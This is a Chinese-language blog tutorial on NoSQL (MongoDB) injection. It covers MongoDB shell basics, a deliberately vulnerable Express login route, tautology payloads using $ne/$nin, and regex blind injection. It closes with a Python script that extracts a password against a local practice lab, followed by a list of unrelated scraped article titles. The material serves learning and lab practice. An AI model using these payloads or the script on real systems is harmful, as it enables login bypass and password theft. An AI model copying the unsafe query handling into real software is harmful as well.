0x00 Nosql inject

最近主要在看那个 YApi 的注入漏洞,也是一个 mongodb的注入

所以来写一下这个东西,其实现在越来越常见的Nosql注入

感觉很多分布式和一些新的系统已经大量使用这种nosql数据库,这个注入和传统的关系型数据库有一点点不同

还有一个练习的靶场,等等放上来 github

0x01 What is nosql

什么是 Nosql

都是抄的介绍自己看看吧

NoSQL 即 Not Only SQL,意即 “不仅仅是SQL”。NoSQL 是一项全新的数据库革命性运动,早期就有人提出,发展至 2009 年趋势越发高涨。NoSQL的拥护者们提倡运用非关系型的数据存储,相对于铺天盖地的关系型数据库运用,这一概念无疑是一种全新的思维的注入。

0x02 Nosql 注入的简介

NoSQL 注入由于 NoSQL 本身的特性和传统的 SQL 注入有所区别。

使用传统的SQL注入,攻击者利用不安全的用户输入来修改或替换应用程序发送到数据库引擎的 SQL 查询语句(或其他SQL语句)。
换句话说,SQL 注入使攻击者可以在数据库中 SQL 执行命令。

与关系数据库不同:

NoSQL 数据库不使用通用查询语言。NoSQL 查询语法是特定于产品的,查询是使用应用程序的编程语言编写的:PHP,JavaScript,Python,Java 等。这意味着成功的注入使攻击者不仅可以在数据库中执行命令,而且可以在应用程序本身中执行命令,这可能更加危险。

0x03 最常见的MongoDB

MongoDB 是当前最流行的 NoSQL 数据库产品之一,由 C++ 语言编写,是一个基于分布式文件存储的数据库。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。

单词对标

在 MongoDB 中基本的概念有一些特殊的名字“文档、集合、数据库”

这个是先知文章之中看到的,感觉对比的非常好,一目了然,对于快速掌握还是比较友好

表所示:

SQL 概念 MongoDB 概念 说明
database database 数据库
table collection 数据库表/集合
row document 数据记录行/文档
column field 数据字段/域
index index 索引
table joins 表连接,MongoDB 不支持
primary key primary key 主键,MongoDB 自动将 _id 字段设置为主键

下表列出了关系型数据库 RDBMS 与 MongoDB 之间对应的术语:

RDBMS MongoDB
数据库 数据库
表格 集合
文档
字段
表联合 嵌入文档
主键 主键(MongoDB 提供了 key 为 _id)

0x04 mongodb的简单使用

首先我们先熟悉一下mongodb的常规用法,回归基础哈哈

下面是我学习的一些command line

利用账号密码登陆

# mongo mongodb://admin:admin@127.0.0.1:27017
MongoDB shell version v4.0.27
connecting to: mongodb://127.0.0.1:27017/?gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("e1c9a87d-f9e4-4cfc-b661-8d7019d19628") }
MongoDB server version: 4.0.27
Server has startup warnings:
2022-11-26T02:29:47.282+0000 I STORAGE  [initandlisten]
2022-11-26T02:29:47.282+0000 I STORAGE  [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
2022-11-26T02:29:47.282+0000 I STORAGE  [initandlisten] **          See http://dochub.mongodb.org/core/prodnotes-filesystem
---
Enable MongoDB's free cloud-based monitoring service, which will then receive and display
metrics about your deployment (disk utilization, CPU, operation statistics, etc).The monitoring data will be available on a MongoDB website with a unique URL accessible to you
and anyone you share the URL with. MongoDB may use this information to make product
improvements and to suggest MongoDB products and deployment options to you.To enable free monitoring, run the following command: db.enableFreeMonitoring()
To permanently disable this reminder, run the following command: db.disableFreeMonitoring()
---

查看数据库

> show dbs
admin   0.000GB
arl     0.041GB
config  0.000GB
local   0.000GB

当前数据库

> db
test

切换数据库

> use arl
switched to db arl

查看集合(相当于看库表)

> show collections
asset_domain
asset_ip
asset_site
cert
...
> show tables
asset_domain
asset_ip
asset_site
cert
...

创建一个集合

> db.createCollection("zeotest")
{ "ok" : 1 }
> show tables
all_users
asset_domain
asset_ip
asset_site
cert
zeotest

插入一个文档(数据)

db.zeotest.insert({name: 'zeo', description: 'the hacker',age: 18,status: 'UP',tel: ['13888888888', '66666666666']
})

查询数据,带条件的查询

在 MongoDB 中使用 find() 方法来查询文档

> db.zeotest.find()
{ "_id" : ObjectId("63817c440c8866311e74ab59"), "name" : "zeo", "description" : "the hacker", "age" : 18, "status" : "UP", "tel" : [ "13888888888", "66666666666" ] }
> db.zeotest.insert({name: 'jebson',     description: 'the it',     age: 22,     status: 'down',     tel: ['138888', '666666'] })
WriteResult({ "nInserted" : 1 })
> db.zeotest.find()
{ "_id" : ObjectId("63817c440c8866311e74ab59"), "name" : "zeo", "description" : "the hacker", "age" : 18, "status" : "UP", "tel" : [ "13888888888", "66666666666" ] }
{ "_id" : ObjectId("63817cb30c8866311e74ab5a"), "name" : "jebson", "description" : "the it", "age" : 22, "status" : "down", "tel" : [ "138888", "666666" ] }
> db.zeotest.find({"name":"zeo"})
{ "_id" : ObjectId("63817c440c8866311e74ab59"), "name" : "zeo", "description" : "the hacker", "age" : 18, "status" : "UP", "tel" : [ "13888888888", "66666666666" ] }
>

靶场搭建

有一个小bug,现在版本升级之后,得用下面这个,mongodb的包是包含在这个里面的

npm install mongoose

0x05 NoSQL 注入

0x06 重言式注入

也叫永真式,此类攻击是在条件语句中注入代码

使生成的表达式判定结果永远为真,类似万能密码

看一下下面这个简单的js代码

app.get('/inject', function(req, res) {var user = (req.query.user);var pass = (req.query.pass);var query = ( '{ "name": '+user+', "passwd": '+pass+' }' );console.log(query)const mydb = db.db('arl')console.log(user,"---",pass)mydb.collection(mongo_col).findOne({"name": user, "passwd": pass}, function (err, user) {if (err) {return res.status(500).send({message: err.message});}else if (!user) {res.render('error', {error: 'Sorry user not found!' });}else{res.render('result', {user: user.user, pass: user.pass });}});
});

payload

http://127.0.0.1:8000/inject?user[$nin][]=&pass[$ne]=

实际获取的数据

user 是 { '$nin': [ '' ] }
pass 是 { '$ne': '' }

拼接之后的qurey是

{ "name": [object Object], "passwd": [object Object] }

解释一下:

  • 首先是$ne 是 not equal 不等于

  • http链接中user[$nin][]=&pass[$ne]=

  • js中是 query =array( "user" => array("$nin" => 1),"pass" => ("$ne" => 1))

  • mongodb中拼接查询就是

    mydb.collection(mongo_col).find({ "name": {"$nin":1}, "passwd": {"$ne":1} })
    
  • 这样就相当于是万能密码那 or 1=1 吧, 查询就是永真的情况

0x07 盲注

现在感觉很多的地方都是当页面没有回显这种情况

一般都通过通过 $regex 正则表达式操作

而且 NoSQL 用到的基本上都是布尔盲注。

payload

GET /inject?login=&user[$eq]=zeo2&pass[$regex]=.{7} HTTP/1.1
Host: 127.0.0.1:8000错误,说明长度没有7
GET /inject?login=&user[$eq]=zeo2&pass[$regex]=.{6} HTTP/1.1
Host: 127.0.0.1:8000正确,说明长度为6

写给脚步跑一下

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
passwd = ''
target = 'http://127.0.0.1:8000/inject?login=&user[$eq]=zeo2&pass[$regex]='
while True:for word in string.printable:if word not in ['*', '+', '.', '?', '|', '#', '&', '$']:payload = '^%s' % (passwd + word)r = requests.get(target + payload)if 'Welcome' in r.text:print("Found one more char : %s" % (passwd+word))passwd += word

Nosql inject注入相关推荐

  1. @Inject 注入 还是报空指针

    @Inject 注入 还是报空指针 发布于 572天前  作者 子寒磊  1435 次浏览  复制  上一个帖子  下一个帖子  标签: 无 @IocBean @Service("userM ...

  2. 洞态漏洞检出测试第二期:NoSQL LDAP注入漏洞

    ​测试环境 DongTai-Python-agent 版本号:v1.2.0 支持 Python 框架:Flask Python 3.8 NoSQL 注入漏洞 以 JavaScript 注入为例 Jav ...

  3. vue3之provide(提供)与inject(注入)

    作用: 一个组件往往嵌套这更多的子组件,而这些子组件也许还有他们各自的子孙组件,这时如果我们还使用props方式来传值可能太过复杂和不利于维护,而这两个api就提供了更方便的传值方式,无论你的组件嵌套 ...

  4. 读“NoSQL注入的分析和缓解”之摘录

    一.NoSQL攻击途径 可以大致分为以下5类: 1.重言式.又称永真式.此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制. 2.联合查询.联合查询是一种众所周知的 ...

  5. vue3中的provide/inject(提供/注入)

    vue3中的provide/inject(提供注入) 在说provide/inject先说一下prop逐级穿透问题. 通常我们从父组件向子组件传递数据时,会用到props.对于只需要传递一层或二层时还 ...

  6. Pikachu靶场通关笔记--Sql Inject(SQL注入)

    在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞.一个严重的SQL注入漏洞,可能会直接导致一家公司破产! SQL注入漏洞主要形成的原 ...

  7. Mobx入门之三:Provider inject

    2019独角兽企业重金招聘Python工程师标准>>> 上一节中<App/>组件传递状态temperatures给children -- <TemperatureI ...

  8. kvm虚拟机_通过QEMU-GuestAgent实现从外部注入写文件到KVM虚拟机内部

    本文将以宿主上直接写文件到VM内部为例讲解为何要注入以及如何实现 tag: qemu-ga, qemu guest agent, kvm, guest-file-write, inject 小慢哥的原 ...

  9. 【Spring注解系列13】Spring自动装配总结:@Autowired、@Resource、@Qualifier、@Inject

    目录 1.@Autowired.@Resource.@Qualifier.@Inject 1).@Autowired 2).@Resource与@Inject 3). @Autowired参数取值 2 ...

最新文章

  1. 一文看懂芯片测试产业
  2. python安装pyqt5 qml_PyQt5:PyQt5程序打包2
  3. 2020-11-28(不定参数的函数)
  4. toString和newString的原理
  5. P3377-[模板]左偏树(可并堆)
  6. ajax 微信code获取_获取链接的参数,判断是否是微信打开,ajax获取数据
  7. Linux用sendmail发信失败,提示Connection refused by [127.0.0.1]
  8. freebsd 安装mysql_Freebsd中mysql安装及使用笔记
  9. 497.非重叠矩形中的随机点
  10. YYText 库学习总结
  11. oracle wish as,虚拟语气:wish、if only和as if的用法
  12. EOS代码架构及分析(四)
  13. Win8.1 安装NLTK及nltk数据
  14. java字母随机生成_java生成随机字母
  15. springboot远程心电诊断系统毕业设计源码091759
  16. 投资银行理论与实务(一):投资银行学概论
  17. 百度地图 添加行政区域
  18. office 字体大小选择,没有 一号二号等中文字体
  19. 应用概率统计(陈魁)第九章(假设检验)部分课后答案
  20. 图片压缩Unsupported Image Type异常,解决方法

热门文章

  1. ijkplayer初始化流程
  2. 微信小程序实现扫二维码时仿微信扫码音效
  3. 如何写出优雅漂亮的c#代码_方法(三)
  4. 智能优化算法:人工蜂鸟算法 - 附代码
  5. 全新安装Mac OSX 开发者环境 同时使用homebrew搭建 PHP,Nginx ,MySQL,Redis,Memcache ... ... (LNMP开发环境)
  6. TypeScript完全解读(26课时)_12.TypeScript完全解读-高级类型(1)
  7. potplayer插件_Potplayer 百度在线翻译插件
  8. Corona渲染器相比VRay渲染器有何优势
  9. android 低传输速率对讲,SONBS昇博士 SA-3003 IP网络寻呼对讲话筒(7寸触屏版)
  10. P2P中的数据传输策略探讨